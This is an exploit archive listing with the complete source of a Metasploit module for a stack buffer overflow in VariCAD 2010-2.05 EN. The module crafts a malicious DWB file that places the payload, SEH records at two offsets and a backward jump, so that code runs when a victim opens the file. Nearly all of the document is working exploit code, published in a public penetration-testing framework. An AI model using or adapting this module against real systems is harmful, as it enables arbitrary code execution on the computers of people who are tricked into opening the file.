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VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow

VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow
Posted Mar 20, 2010
Authored by n00b, MC, dookie | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN. An attacker must send the file to victim and the victim must open the file.

tags | exploit, overflow
SHA-256 | 606044200780a7d9d63b6fcf47963bd052e8a437c8822a35a6d9f1cb62286b98

VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow

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##
# $Id: varicad_dwb.rb 8852 2010-03-18 23:52:28Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.
An attacker must send the file to victim and the victim must open the file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'n00b', # first public exploit
'dookie', # metasploit first pass
'MC', # cleanup pass 1 & second offset
'jduck' # cleanup pass 2 & combined offsets
],
'Version' => '$Revision: 8852 $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/11789' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x0a\x3d",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe
],
'Privileged' => false,
'DisclosureDate' => 'Mar 17 2010',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dwb']),
], self.class)
end

def exploit

header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"
sploit = rand_text_alpha_upper(1000) * 50

# Add SEH frames..
seh = generate_seh_record(target.ret)
offsets = [ 26252, 22856 ]
sploit[0,payload.encoded.length] = payload.encoded
offsets.each { |off|
sploit[off,seh.length] = seh
distance = seh.length + off
jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
sploit[off+seh.length,jmp.length] = jmp
}

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(header + sploit)

end

end
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